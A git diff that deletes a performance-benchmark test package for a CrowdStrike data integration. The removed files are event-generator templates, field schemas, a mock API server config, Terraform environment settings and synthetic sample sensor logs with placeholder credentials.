diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark.yml
deleted file mode 100644
index 82cc41c36f..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark.yml
+++ /dev/null
@@ -1,27 +0,0 @@
----
-description: Benchmark 100000 alert events ingested
-input: cel
-deployer: docker
-vars:
-  url: http://{{Hostname}}:{{Port}}
-  client_id: xxxx
-  client_secret: yyyy
-  token_url: http://{{Hostname}}:{{Port}}/oauth2/token
-data_stream:
-  name: alert
-  vars:
-    enable_request_tracer: true
-    preserve_original_event: true
-warmup_time_period: 2s
-corpora:
-  input_service:
-    name: crowdstrike
-  generator:
-    total_events: 1000
-    template:
-      path: ./alert-benchmark/template.ndjson
-      type: gotext
-    config:
-      path: ./alert-benchmark/config.yml
-    fields:
-      path: ./alert-benchmark/fields.yml
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/config.yml
deleted file mode 100644
index f718388107..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/config.yml
+++ /dev/null
@@ -1,105 +0,0 @@
-fields:
-  - name: timestamp
-    period: -24h
-  - name: agent_id
-    cardinality: 1000
-  - name: alleged_filetype
-    cardinality: 1000
-  - name: cid
-    cardinality: 10
-  - name: comments.falcon_user_id
-    cardinality: 10000
-  - name: confidence
-    range:
-      min: 0
-      max: 100
-    cardinality: 1000
-  - name: device.platform_name
-    enum:
-      - Windows
-      - Linux
-      - Mac
-  - name: device.agent_load_flags
-    enum:
-      - '0'
-      - '1'
-      - '2'
-      - '3'
-  - name: device.platform_id
-    enum:
-      - '0'
-      - '1'
-      - '3'
-  - name: device.device_id
-    cardinality: 10000
-  - name: device.external_ipv6
-    value: 20xx:xxx:xxxx:xxxx:5555:6666:7777:8888
-  - name: device.local_ipv6
-    value: 20xx:xxx:xxxx:xxxx:5555:6666:7777:8888
-  - name: device.mac_address
-    value: 00:xx:xx:xx:4D:5E
-  - name: filename
-    cardinality: 10000
-  - name: hostname
-    cardinality: 10000
-  - name: id
-    cardinality: 100000
-  - name: process_end_time
-    value: 1737735358
-  - name: process_start_time
-    value: 1737735358
-  - name: product
-    enum:
-      - cwpp
-      - data-protection
-      - epp
-      - idp
-      - mobile
-      - ngsiem
-      - overwatch
-      - thirdparty
-      - xdr
-  - name: severity_name
-    enum:
-      - Low
-      - Medium
-      - High
-  - name: status
-    enum:
-      - new
-      - in_progress
-      - closed
-      - reopened
-  - name: type
-    enum:
-      - ldt
-      - ods
-      - xdr
-      - ofp
-      - ssd
-      - windows_legacy
-  - name: tree_root
-    cardinality: 100000
-  - name: tree_id
-    cardinality: 100000
-  - name: username
-    cardinality: 10000
-  - name: user_id
-    cardinality: 10000
-  - name: network_accesses.connection_direction
-    enum:
-      - outbound
-      - inbound
-      - neither
-  - name: network_accesses.local_port
-    range:
-      min: 10000
-      max: 95000
-  - name: network_accesses.protocol
-    enum:
-      - TCP
-      - UDP
-  - name: network_accesses.remote_port
-    range:
-      min: 10000
-      max: 95000
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/fields.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/fields.yml
deleted file mode 100644
index a1fa39ee44..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/fields.yml
+++ /dev/null
@@ -1,208 +0,0 @@
-- name: agent_id
-  type: keyword
-- name: aggregate_id
-  type: keyword
-- name: alleged_filetype
-  type: keyword
-- name: cid
-  type: keyword
-- name: cmdline
-  type: keyword
-- name: comment
-  type: text
-- name: comments
-  type: group
-  fields:
-  - name: falcon_user_id
-    type: keyword
-  - name: timestamp
-    type: date
-  - name: value
-    type: text
-- name: composite_id
-  type: keyword
-- name: confidence
-  type: integer
-- name: control_graph_id
-  type: keyword
-- name: created_timestamp
-  type: date
-- name: description
-  type: text
-- name: device
-  type: group
-  fields:
-  - name: agent_load_flags
-    type: keyword
-  - name: agent_local_time
-    type: date
-  - name: agent_version
-    type: keyword
-  - name: bios_manufacturer
-    type: keyword
-  - name: bios_version
-    type: integer
-  - name: cid
-    type: keyword
-  - name: device_id
-    type: keyword
-  - name: external_ip
-    type: ip
-  - name: external_ipv6
-    type: ip
-  - name: first_seen
-    type: date
-  - name: groups
-    type: keyword
-  - name: hostinfo
-    type: group
-    fields:
-    - name: active_directory_dn_display
-      type: keyword
-    - name: domain
-      type: keyword
-  - name: hostname
-    type: keyword
-  - name: host_hidden_status
-    type: keyword
-  - name: last_seen
-    type: keyword
-  - name: instance_id
-    type: keyword
-  - name: local_ip
-    type: ip
-  - name: local_ipv6
-    type: ip
-  - name: mac_address
-    type: keyword
-  - name: machine_domain
-    type: keyword
-  - name: major_version
-    type: integer
-  - name: minor_version
-    type: integer
-  - name: modified_timestamp
-    type: date
-  - name: os_version
-    type: keyword
-  - name: ou
-    type: keyword
-  - name: platform_id
-    type: keyword
-  - name: platform_name
-    type: keyword
-  - name: pod_id
-    type: keyword
-  - name: pod_labels
-    type: keyword
-  - name: pod_name
-    type: keyword
-  - name: pod_namespace
-    type: keyword
-  - name: pod_service_account_name
-    type: keyword
-  - name: product_type
-    type: keyword
-  - name: product_type_desc
-    type: keyword
-  - name: service_provider
-    type: keyword
-  - name: service_provider_account_id
-    type: keyword
-  - name: site_name
-    type: keyword
-  - name: system_manufacturer
-    type: keyword
-  - name: system_product_name
-    type: keyword
-  - name: tags
-    type: keyword
-- name: display_name
-  type: keyword
-- name: falcon_host_link
-  type: keyword
-- name: filename
-  type: keyword
-- name: filepath
-  type: keyword
-- name: hostname
-  type: keyword
-- name: id
-  type: keyword
-- name: ioc_source
-  type: keyword
-- name: ioc_type
-  type: keyword
-- name: ioc_value
-  type: keyword
-- name: md5
-  type: keyword
-- name: network_accesses
-  type: group
-  fields:
-  - name: access_type
-    type: integer
-  - name: connection_direction
-    type: keyword
-  - name: isIPV6
-    type: boolean
-  - name: local_address
-    type: ip
-  - name: local_port
-    type: integer
-  - name: protocol
-    type: keyword
-  - name: remote_address
-    type: ip
-  - name: remote_port
-    type: integer
-- name: objective
-  type: keyword
-- name: parent_process_id
-  type: integer
-- name: pattern_id
-  type: integer
-- name: process_end_time
-  type: date
-- name: process_id
-  type: integer
-- name: process_start_time
-  type: date
-- name: product
-  type: keyword
-- name: scenario
-  type: keyword
-- name: severity
-  type: integer
-- name: severity_name
-  type: keyword
-- name: sha256
-  type: keyword
-- name: show_in_ui
-  type: boolean
-- name: status
-  type: keyword
-- name: tactic
-  type: keyword
-- name: tactic_id
-  type: keyword
-- name: technique
-  type: keyword
-- name: technique_id
-  type: keyword
-- name: timestamp
-  type: date
-- name: tree_id
-  type: keyword
-- name: tree_root
-  type: integer
-- name: triggering_process_graph_id
-  type: keyword
-- name: type
-  type: keyword
-- name: updated_timestamp
-  type: date
-- name: username
-  type: keyword
-- name: user_id
-  type: keyword
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/template.ndjson b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/template.ndjson
deleted file mode 100644
index 2841b0f2a6..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/template.ndjson
+++ /dev/null
@@ -1,97 +0,0 @@
-{{- $agent_id := generate "agent_id" }}
-{{- $aggregate_id := generate "aggregate_id" }}
-{{- $alleged_filetype := generate "alleged_filetype" }}
-{{- $access_type := generate "network_accesses.access_type" }}
-{{- $connection_direction := generate "network_accesses.connection_direction" }}
-{{- $isIPV6 := generate "network_accesses.isIPV6" }}
-{{- $local_address := generate "network_accesses.local_address" }}
-{{- $local_port := generate "network_accesses.local_port" }}
-{{- $protocol := generate "network_accesses.protocol" }}
-{{- $remote_address := generate "network_accesses.remote_address" }}
-{{- $remote_port := generate "network_accesses.remote_port" }}
-{{- $cid := generate "cid" }}
-{{- $cmdline := generate "cmdline" }}
-{{- $comment := generate "comment" }}
-{{- $falcon_user_id := generate "comments.falcon_user_id" }}
-{{- $timestamp := generate "comments.timestamp" | date "2006-01-02T15:04:05.000000000Z" }}
-{{- $value := generate "comments.value" }}
-{{- $composite_id := generate "composite_id" }}
-{{- $confidence := generate "confidence" }}
-{{- $control_graph_id := generate "control_graph_id" }}
-{{- $created_timestamp := generate "created_timestamp" | date "2006-01-02T15:04:05.000000000Z" }}
-{{- $description := generate "description" }}
-{{- $last_seen := generate "device.last_seen" | date "2006-01-02T15:04:05.00Z" }}
-{{- $agent_load_flags := generate "device.agent_load_flags" }}
-{{- $agent_local_time := generate "device.agent_local_time" | date "2006-01-02T15:04:05.000Z" }}
-{{- $agent_version := generate "device.agent_version" }}
-{{- $bios_manufacturer := generate "device.bios_manufacturer" }}
-{{- $bios_version := generate "device.bios_version" }}
-{{- $device_id := generate "device.device_id" }}
-{{- $external_ip := generate "device.external_ip" }}
-{{- $external_ipv6 := generate "device.external_ipv6" }}
-{{- $first_seen := generate "device.first_seen" | date "2006-01-02T15:04:05.000Z" }}
-{{- $groups := generate "device.groups" }}
-{{- $active_directory_dn_display := generate "device.hostinfo.active_directory_dn_display" }}
-{{- $domain := generate "device.hostinfo.domain" }}
-{{- $host_hidden_status := generate "device.host_hidden_status" }}
-{{- $instance_id := generate "device.instance_id" }}
-{{- $local_ip := generate "device.local_ip" }}
-{{- $local_ipv6 := generate "device.local_ipv6" }}
-{{- $mac_address := generate "device.mac_address" }}
-{{- $machine_domain := generate "device.machine_domain" }}
-{{- $major_version := generate "device.major_version" }}
-{{- $minor_version := generate "device.minor_version" }}
-{{- $modified_timestamp := generate "device.modified_timestamp" | date "2006-01-02T15:04:05.00Z" }}
-{{- $os_version := generate "device.os_version" }}
-{{- $ou := generate "device.ou" }}
-{{- $platform_id := generate "device.platform_id" }}
-{{- $platform_name := generate "device.platform_name" }}
-{{- $pod_id := generate "device.pod_id" }}
-{{- $pod_labels := generate "device.pod_labels" }}
-{{- $pod_name := generate "device.pod_name" }}
-{{- $pod_namespace := generate "device.pod_namespace" }}
-{{- $pod_service_account_name := generate "device.pod_service_account_name" }}
-{{- $product_type := generate "device.product_type" }}
-{{- $product_type_desc := generate "device.product_type_desc" }}
-{{- $service_provider := generate "device.service_provider" }}
-{{- $service_provider_account_id := generate "device.service_provider_account_id" }}
-{{- $site_name := generate "device.site_name" }}
-{{- $system_manufacturer := generate "device.system_manufacturer" }}
-{{- $system_product_name := generate "device.system_product_name" }}
-{{- $tags := generate "device.tags" }}
-{{- $display_name := generate "display_name" }}
-{{- $falcon_host_link := generate "falcon_host_link" }}
-{{- $filename := generate "filename" }}
-{{- $filepath := generate "filepath" }}
-{{- $hostname := generate "hostname" }}
-{{- $id := generate "id" }}
-{{- $ioc_source := generate "ioc_source" }}
-{{- $ioc_type := generate "ioc_type" }}
-{{- $ioc_value := generate "ioc_value" }}
-{{- $md5 := generate "md5" }}
-{{- $objective := generate "objective" }}
-{{- $parent_process_id := generate "parent_process_id" }}
-{{- $pattern_id := generate "pattern_id" }}
-{{- $process_end_time := generate "process_end_time" }}
-{{- $process_id := generate "process_id" }}
-{{- $process_start_time := generate "process_start_time" }}
-{{- $product := generate "product" }}
-{{- $scenario := generate "scenario" }}
-{{- $severity := generate "severity" }}
-{{- $severity_name := generate "severity_name" }}
-{{- $sha256 := generate "sha256" }}
-{{- $show_in_ui := generate "show_in_ui" }}
-{{- $status := generate "status" }}
-{{- $tactic := generate "tactic" }}
-{{- $tactic_id := generate "tactic_id" }}
-{{- $technique := generate "technique" }}
-{{- $technique_id := generate "technique_id" }}
-{{- $timestamp_main := generate "timestamp" | date "2006-01-02T15:04:05.000Z" }}
-{{- $tree_id := generate "tree_id" }}
-{{- $tree_root := generate "tree_root" }}
-{{- $triggering_process_graph_id := generate "triggering_process_graph_id" }}
-{{- $type := generate "type" }}
-{{- $updated_timestamp := generate "updated_timestamp" | date "2006-01-02T15:04:05.000000000Z" }}
-{{- $username := generate "username" }}
-{{- $user_id := generate "user_id" }}
-{"agent_id":"{{ $agent_id }}","aggregate_id":"{{ $aggregate_id }}","alleged_filetype":"{{ $alleged_filetype }}","cid":"{{ $cid }}","cmdline":"{{ $cmdline }}","comment":"{{ $comment }}","comments":[{"falcon_user_id":"{{ $falcon_user_id }}@mail.com","timestamp":"{{ $timestamp }}","value":"{{ $value }}"}],"composite_id":"{{ $composite_id }}","confidence":{{ $confidence }},"control_graph_id":"{{ $control_graph_id }}","created_timestamp":"{{ $created_timestamp }}","description":"{{ $description }}","device":{"agent_version":"x.xx.xxxxx.x","agent_load_flags":"{{ $agent_load_flags }}","agent_local_time":"{{ $agent_local_time }}","bios_manufacturer":"{{ $bios_manufacturer }}","bios_version":"{{ $bios_version }}","cid":"{{ $cid }}","device_id":"{{ $device_id }}","external_ip":"{{ $external_ip }}","external_ipv6":"{{ $external_ipv6 }}","first_seen":"{{ $first_seen }}","groups":"{{ $groups }}","hostinfo":{"active_directory_dn_display":"{{ $active_directory_dn_display }}","domain":"{{ $domain }}"},"hostname":"{{ $hostname }}","host_hidden_status":"{{ $host_hidden_status }}","last_seen":"{{ $last_seen }}","instance_id":"{{ $instance_id }}","local_ip":"{{ $local_ip }}","local_ipv6":"{{ $local_ipv6 }}","mac_address":"{{ $mac_address }}","machine_domain":"{{ $machine_domain }}","major_version":{{ $major_version }},"minor_version":{{ $minor_version }},"modified_timestamp":"{{ $modified_timestamp }}","os_version":"{{ $os_version }}","ou":["{{ $ou }}"],"platform_id":"{{ $platform_id }}","platform_name":"{{ $platform_name }}","pod_id":"{{ $pod_id }}","pod_labels":["{{ $pod_labels }}"],"pod_name":"{{ $pod_name }}","pod_namespace":"{{ $pod_namespace }}","pod_service_account_name":"{{ $pod_service_account_name }}","product_type":"{{ $product_type }}","product_type_desc":"{{ $product_type_desc }}","service_provider":"{{ $service_provider }}","service_provider_account_id":"{{ $service_provider_account_id }}","site_name":"{{ $site_name }}","status":"{{ $status }}","system_manufacturer":"{{ $system_manufacturer }}","system_product_name":"{{ $system_product_name }}","tags":["{{ $tags }}"]},"display_name":"{{ $display_name }}","falcon_host_link":"https://falcon.crowdstrike.com/activity-v2/detections/{{ $falcon_host_link }}","filename":"{{ $filename }}.{{ $alleged_filetype }}","filepath":"\\\\{{ $filepath }}\\\\{{ $filename }}.{{ $alleged_filetype }}","id":"{{ $id }}","ioc_source":"{{ $ioc_source }}","ioc_type":"{{ $ioc_type }}","ioc_value":"{{ $ioc_value }}","md5":"{{ $md5 }}","mitre_attack":{"pattern_id":{{ $pattern_id }},"tactic_id":"{{ $tactic_id }}","technique_id":"{{ $technique_id }}","tactic":"{{ $tactic }}","technique":"{{ $technique }}"},"name":"{{ $username }} on {{ $hostname }}","network_accesses":[{"access_type":"{{ $access_type }}","connection_direction":"{{ $connection_direction }}","isIPV6":{{ $isIPV6 }},"local_address":"{{ $local_address }}","local_port":{{ $local_port }},"protocol":"{{ $protocol }}","remote_address":"{{ $remote_address }}","remote_port":{{ $remote_port }}}],"objective":"{{ $objective }}","parent_process_id":{{ $parent_process_id }},"pattern_id":{{ $pattern_id }},"platform":"{{ $platform_name }}","process_end_time":"{{ $process_end_time }}","process_id":{{ $process_id }},"process_start_time":"{{ $process_start_time }}","product":"{{ $product }}","scenario":"{{ $scenario }}","severity":{{ $severity }},"severity_name":"{{ $severity_name }}","sha256":"{{ $sha256 }}","show_in_ui":{{ $show_in_ui }},"status":"{{ $status }}","tactic":"{{ $tactic }}","tactic_id":"{{ $tactic_id }}","technique":"{{ $technique }}","technique_id":"{{ $technique_id }}","timestamp":"{{ $timestamp_main }}","tree_id":"{{ $tree_id }}","tree_root":{{ $tree_root }},"triggering_process_graph_id":"{{ $triggering_process_graph_id }}","type":"{{ $type }}","updated_timestamp":"{{ $updated_timestamp }}","user_id":"{{ $user_id }}"},
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/docker-compose.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/docker-compose.yml
deleted file mode 100644
index cfa001fee1..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/docker-compose.yml
+++ /dev/null
@@ -1,16 +0,0 @@
-version: "2.3"
-services:
-  crowdstrike:
-    image: docker.elastic.co/observability/stream:v0.20.0
-    hostname: crowdstrike
-    ports:
-      - 8080
-    volumes:
-      - ./files:/files:ro
-      - ${SERVICE_LOGS_DIR}:/var/log
-    environment:
-      PORT: "8080"
-    command:
-      - http-server
-      - --addr=:8080
-      - --config=/files/config.yml
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/files/config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/files/config.yml
deleted file mode 100644
index 8ac8e5871e..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/files/config.yml
+++ /dev/null
@@ -1,128 +0,0 @@
-rules:
-  - path: /oauth2/token
-    methods: ['POST']
-    responses:
-      - status_code: 200
-        headers:
-          Content-Type:
-            - 'application/json'
-        body: |
-          {"access_token":"xxxx","expires_in":3600,"token_type":"Bearer","refresh_token":"yyyy"}
-  - path: /alerts/combined/alerts/v1
-    methods: ['POST']
-    responses:
-      - status_code: 200
-        headers:
-          Content-Type:
-            - application/json
-        body: |-
-          {
-            "meta": {
-              "pagination": {
-                "total": 100000,
-                "limit": 100
-              }
-            },
-            "errors": [],
-            "resources": [
-              {{/* Comma is added at the end of each line inside the template to preserve JSON format */}}
-              {{- $g := glob "/var/log/corpus-*" -}}
-              {{- range $g -}}
-                {{- file . -}}
-              {{- end -}}
-              {{/* A last line of hard-coded data is required to properly close the JSON body */}}
-              {"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"created_timestamp":"2023-11-03T18:01:23.995794943Z","id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","severity":30,"status":"new","timestamp":"2023-11-03T18:00:22.328Z","updated_timestamp":"2023-11-03T19:00:23.985007341Z"}
-            ]
-          }
-  - path: /devices/combined/devices/v1
-    methods: ['GET']
-    responses:
-      - status_code: 200
-        headers:
-          Content-Type:
-            - application/json
-        body: |-
-          {
-            "meta": {
-              "pagination": {
-                "total": 100000,
-                "limit": 100
-              }
-            },
-            "errors": [],
-            "resources": [
-              {{/* Comma is added at the end of each line inside the template to preserve JSON format */}}
-              {{- $g := glob "/var/log/corpus-*" -}}
-              {{- range $g -}}
-                {{- file . -}}
-              {{- end -}}
-              {{/* A last line of hard-coded data is required to properly close the JSON body */}}
-              {"device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","cid":"92012896127c4a948236ba7601b886b0","agent_load_flags":"0","agent_local_time":"2023-11-07T04:51:16.678Z","agent_version":"7.05.17603.0","hostname":"test-host","status":"normal","modified_timestamp":"2023-11-07T04:51:16.678Z"}
-            ]
-          }
-  - path: /spotlight/combined/vulnerabilities/v1
-    methods: ['GET']
-    responses:
-      - status_code: 200
-        headers:
-          Content-Type:
-            - application/json
-        body: |-
-          {
-            "meta": {
-              "pagination": {
-                "total": 100000,
-                "limit": 100
-              }
-            },
-            "errors": [],
-            "resources": [
-              {{/* Comma is added at the end of each line inside the template to preserve JSON format */}}
-              {{- $g := glob "/var/log/corpus-*" -}}
-              {{- range $g -}}
-                {{- file . -}}
-              {{- end -}}
-              {{/* A last line of hard-coded data is required to properly close the JSON body */}}
-              {"id":"CVE-2023-12345","cid":"92012896127c4a948236ba7601b886b0","aid":"2ce412d17b334ad4adc8c1c54dbfec4b","vulnerability_id":"CVE-2023-12345","status":"open","cve":{"severity":"MEDIUM","references":["https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-1234"]},"created_timestamp":"2023-11-03T18:01:23.995794943Z","updated_timestamp":"2023-11-03T19:00:23.985007341Z"}
-            ]
-          }
-  - path: /sensors/entities/datafeed/v2
-    methods: ['GET']
-    responses:
-      - status_code: 200
-        headers:
-          Content-Type:
-            - application/json
-        body: |-
-          {
-              "resources": [
-                  {
-                      "dataFeedURL": "http://svc-crowdstrike:8080/events",
-                      "sessionToken": {
-                          "token": "secretsessiontoken"
-                      },
-                      "refreshActiveSessionURL": "http://svc-crowdstrike:8080/refresh",
-                      "refreshActiveSessionInterval": 1800
-                  }
-              ]
-          }
-  - path: /events
-    methods: ['GET']
-    responses:
-      - status_code: 200
-        headers:
-          Content-Type:
-            - application/json
-        body: |-
-          {{- $g := glob "/var/log/corpus-*" -}}
-          {{- range $g -}}
-            {{- file . -}}
-          {{- end -}}
-  - path: /refresh
-    methods: ['POST']
-    responses:
-      - status_code: 200
-        headers:
-          Content-Type:
-            - application/json
-        body: ''
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/env.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/env.yml
deleted file mode 100644
index 6e1f17f7a9..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/env.yml
+++ /dev/null
@@ -1,10 +0,0 @@
-version: '2.3'
-services:
-  terraform:
-    environment:
-      - AWS_ACCESS_KEY_ID=${AWS_ACCESS_KEY_ID}
-      - AWS_SECRET_ACCESS_KEY=${AWS_SECRET_ACCESS_KEY}
-      - AWS_SESSION_TOKEN=${AWS_SESSION_TOKEN}
-      - AWS_PROFILE=${AWS_PROFILE}
-      - AWS_REGION=${AWS_REGION:-us-east-1}
-      - TF_VAR_eventbridge_role_arn=arn:aws:iam::144492464627:role/eb-scheduler-role-20231101165501426500000001
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-0_aidmaster.log b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-0_aidmaster.log
deleted file mode 100644
index 5cf7cfb6de..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-0_aidmaster.log
+++ /dev/null
@@ -1,5 +0,0 @@
-{"AgentLoadFlags":"1","AgentLocalTime":"1697712608","AgentTimeOffset":"-1918.056","AgentVersion":"6.58.13921.0","BiosManufacturer":"Iris","BiosVersion":"vG17V.21010423/w64","ChassisType":"Other","City":"Varanasi","ComputerName":"FEVWSA1-003","ConfigBuild":"1007.3.0017213.1","ConfigIDBuild":"13921","Continent":"Asia","Country":"India","FalconGroupingTags":"'FalconGroupingTags/INDIA'","FirstSeen":"1619196080.0","HostHiddenStatus":"Visible","MachineDomain":"groot.org","OU":"SAT;FE;VDI;Global;Offices","PointerSize":"8","ProductType":"1.0","SensorGroupingTags":"none","ServicePackMajor":"0","SiteName":"GNG","SystemManufacturer":"Iris","SystemProductName":"IrOS","Time":"1697992784.144","Timezone":"Asia/Varanasi","Version":"Windows 10","aid":"ffffffffa63e404bba4bff7465ab3afb","aip":"214.3.91.8","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win"}
-{"AgentLoadFlags":"0","AgentLocalTime":"1697054061","AgentTimeOffset":"12274.197","AgentVersion":"7.01.13921.0","BiosManufacturer":"Iris","BiosVersion":"vG17V.210105623/u64","ChassisType":"Other","City":"Hamilton","ComputerName":"MIVWIN21","ConfigBuild":"1007.3.0017312.1","ConfigIDBuild":"13921","Continent":"Europe","Country":"Iceland","FalconGroupingTags":"'FalconGroupingTags/Iceland'","FirstSeen":"1576097732.0","HostHiddenStatus":"Visible","MachineDomain":"iceland.bigbiz.local","OU":"Infrastructure for CM;Citrix BM","PointerSize":"8","ProductType":"3.0","SensorGroupingTags":"none","ServicePackMajor":"0","SiteName":"Mosfellsbær","SystemManufacturer":"Iris","SystemProductName":"IrOS","Time":"1697992773.787","Timezone":"Europe/Iceland","Version":"Windows Server 2022","aid":"ffffffff3c0846978560dbc0048d6555","aip":"42.7.15.32","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win"}
-{"AgentLoadFlags":"0","AgentLocalTime":"1697069182","AgentTimeOffset":"-2275.344","AgentVersion":"7.01.13922.0","BiosManufacturer":"American Megatrends","BiosVersion":"FW29-234098","ChassisType":"Space-Saving","City":"Mumbai","ComputerName":"FEVWSA1-029","ConfigBuild":"1007.3.0017312.1","ConfigIDBuild":"13922","Continent":"Asia","Country":"India","FalconGroupingTags":"'FalconGroupingTags/India'","FirstSeen":"1592645590.0","HostHiddenStatus":"Visible","MachineDomain":"groot.org","OU":"PROD;Win10 Workstations;India;Offices","PointerSize":"8","ProductType":"1.0","SensorGroupingTags":"none","ServicePackMajor":"0","SiteName":"IO","SystemManufacturer":"Dell","SystemProductName":"Dell Note","Time":"1697992701.85","Timezone":"India/Mumbai","Version":"Windows 10","aid":"ffffffffc59c473aa7fcbbe7438082cb","aip":"42.7.16.195","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win"}
-{"AgentLoadFlags":"1","AgentLocalTime":"1697735519","AgentTimeOffset":"15963.231","AgentVersion":"6.56.17010.0","BiosManufacturer":"Iris","BiosVersion":"vG17V.210105623/u64","ChassisType":"Other","City":"Chicago","ComputerName":"FEVWSN1-009","ConfigBuild":"1007.3.0017010.1","ConfigIDBuild":"17010","Continent":"North America","Country":"America","FalconGroupingTags":"none","FirstSeen":"1641998107.0","HostHiddenStatus":"Visible","MachineDomain":"groot.org","OU":"UAT;CAA;VDI;Global;Offices","PointerSize":"8","ProductType":"1.0","SensorGroupingTags":"none","ServicePackMajor":"0","SiteName":"BCL","SystemManufacturer":"Iris","SystemProductName":"IrOS","Time":"1697992762.221","Timezone":"America/Chicago","Version":"Windows ME","aid":"ffffffffac4148947ed68497e89f3308","aip":"16.15.12.10","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win"}
-{"AgentLoadFlags":"1","AgentLocalTime":"1697775225","AgentTimeOffset":"15889.017","AgentVersion":"7.01.13922.0","BiosManufacturer":"Iris","BiosVersion":"vG17V.21040423/z64","ChassisType":"Other","City":"Chicago","ComputerName":"FEVWSN1-234","ConfigBuild":"1007.3.0017312.1","ConfigIDBuild":"13922","Continent":"North America","Country":"United States of America","FalconGroupingTags":"'FalconGroupingTags/AMERICA'","FirstSeen":"1628678052.0","HostHiddenStatus":"Visible","MachineDomain":"groot.org","OU":"Servers;America;Offices","PointerSize":"8","ProductType":"3.0","SensorGroupingTags":"none","ServicePackMajor":"0","SiteName":"BCL","SystemManufacturer":"Iris","SystemProductName":"IrOS","Time":"1697992719.22","Timezone":"America/Chicago","Version":"Windows Server 2021","aid":"ffffffff655344736aca58d17fb570f0","aip":"16.15.12.10","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-0_userinfo.log b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-0_userinfo.log
deleted file mode 100644
index a663f3cdd4..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-0_userinfo.log
+++ /dev/null
@@ -1 +0,0 @@
-{"AccountType":"Domain User","LastLoggedOnHost":"COMPUTER1","LocalAdminAccess":"No","LogonInfo":"Domain User Logon","LogonTime":"1702546155.197","LogonType":"Interactive","PasswordLastSet":"1699971198.062","User":"DOMAIN\\BRADLEYA","UserIsAdmin":"0","UserLogonFlags_decimal":"0","UserName":"Alan-One","UserSid_readable":"S-1-12-1-3697283754-1083485977-2164330645-2516515886","_time":"1702546168.576","cid":"ffffffff15754bcfb5f9152ec7ac90ac","event_platform":"Win","monthsincereset":"1.0"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-sample.log b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-sample.log
deleted file mode 100644
index f3d053e28c..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-sample.log
+++ /dev/null
@@ -1,128 +0,0 @@
-{"ParentProcessId":"362225661973273550","SourceProcessId":"362225661973273550","aip":"67.43.156.14","SessionProcessId":"363970027584976556","SyntheticPR2Flags":"8","event_platform":"Mac","SVUID":"501","id":"ffffffff-1111-11eb-8dd4-061759968cdf","EffectiveTransmissionClass":"2","timestamp":"1625677521162","ProcessGroupId":"363970027584976556","event_simpleName":"SyntheticProcessRollup2","RawProcessId":"9505","ContextTimeStamp":"1625677521.137","GID":"20","ConfigStateHash":"1620585913","SVGID":"20","ConfigBuild":"1007.4.0013701.1","UID":"501","CommandLine":"/bin/sh -s unix:cmd","TargetProcessId":"363970027584976556","ImageFileName":"/bin/sh","RGID":"501","SourceThreadId":"0","Entitlements":"15","name":"SyntheticProcessRollup2MacV3","RUID":"501","aid":"ffffffffa63e404bba4bff7465ab3afb","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
